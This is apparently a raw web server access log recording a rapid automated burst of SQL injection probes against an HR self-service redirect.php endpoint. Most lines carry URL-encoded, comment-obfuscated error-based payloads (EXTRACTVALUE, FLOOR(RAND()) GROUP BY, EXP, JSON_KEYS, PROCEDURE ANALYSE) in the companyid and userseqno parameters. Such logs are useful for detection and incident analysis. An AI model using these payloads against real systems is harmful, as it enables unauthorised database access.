100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x68395231%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c687a6a%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x68395231%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c687a6a%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58414f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64357a6f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58414f71%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64357a6f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d784237%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39456969%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d784237%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39456969%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x38435179%2C%28NULL%29%2C0x6c35364d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x38435179%2C%28NULL%29%2C0x6c35364d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65616d6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c554479%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65616d6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c554479%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x59453147%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59495a78%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x59453147%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59495a78%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c38626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a777070%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c38626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a777070%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x55646e4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794e684e%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x55646e4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794e684e%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x45393871%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f417670%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x45393871%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f417670%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x68363273%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6454504f%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x68363273%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6454504f%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6855656a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x684b6246%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6855656a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x684b6246%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56586244%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x496c6a61%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56586244%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x496c6a61%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x78687957%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36506845%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x78687957%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36506845%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x78726c6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51415536%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x78726c6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51415536%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6936774e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344d6c79%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6936774e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344d6c79%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x3632626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46353439%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x3632626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46353439%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x575a6b79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58774d70%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x575a6b79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58774d70%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x67466448%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x527a714d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x67466448%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x527a714d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e645078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b754850%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
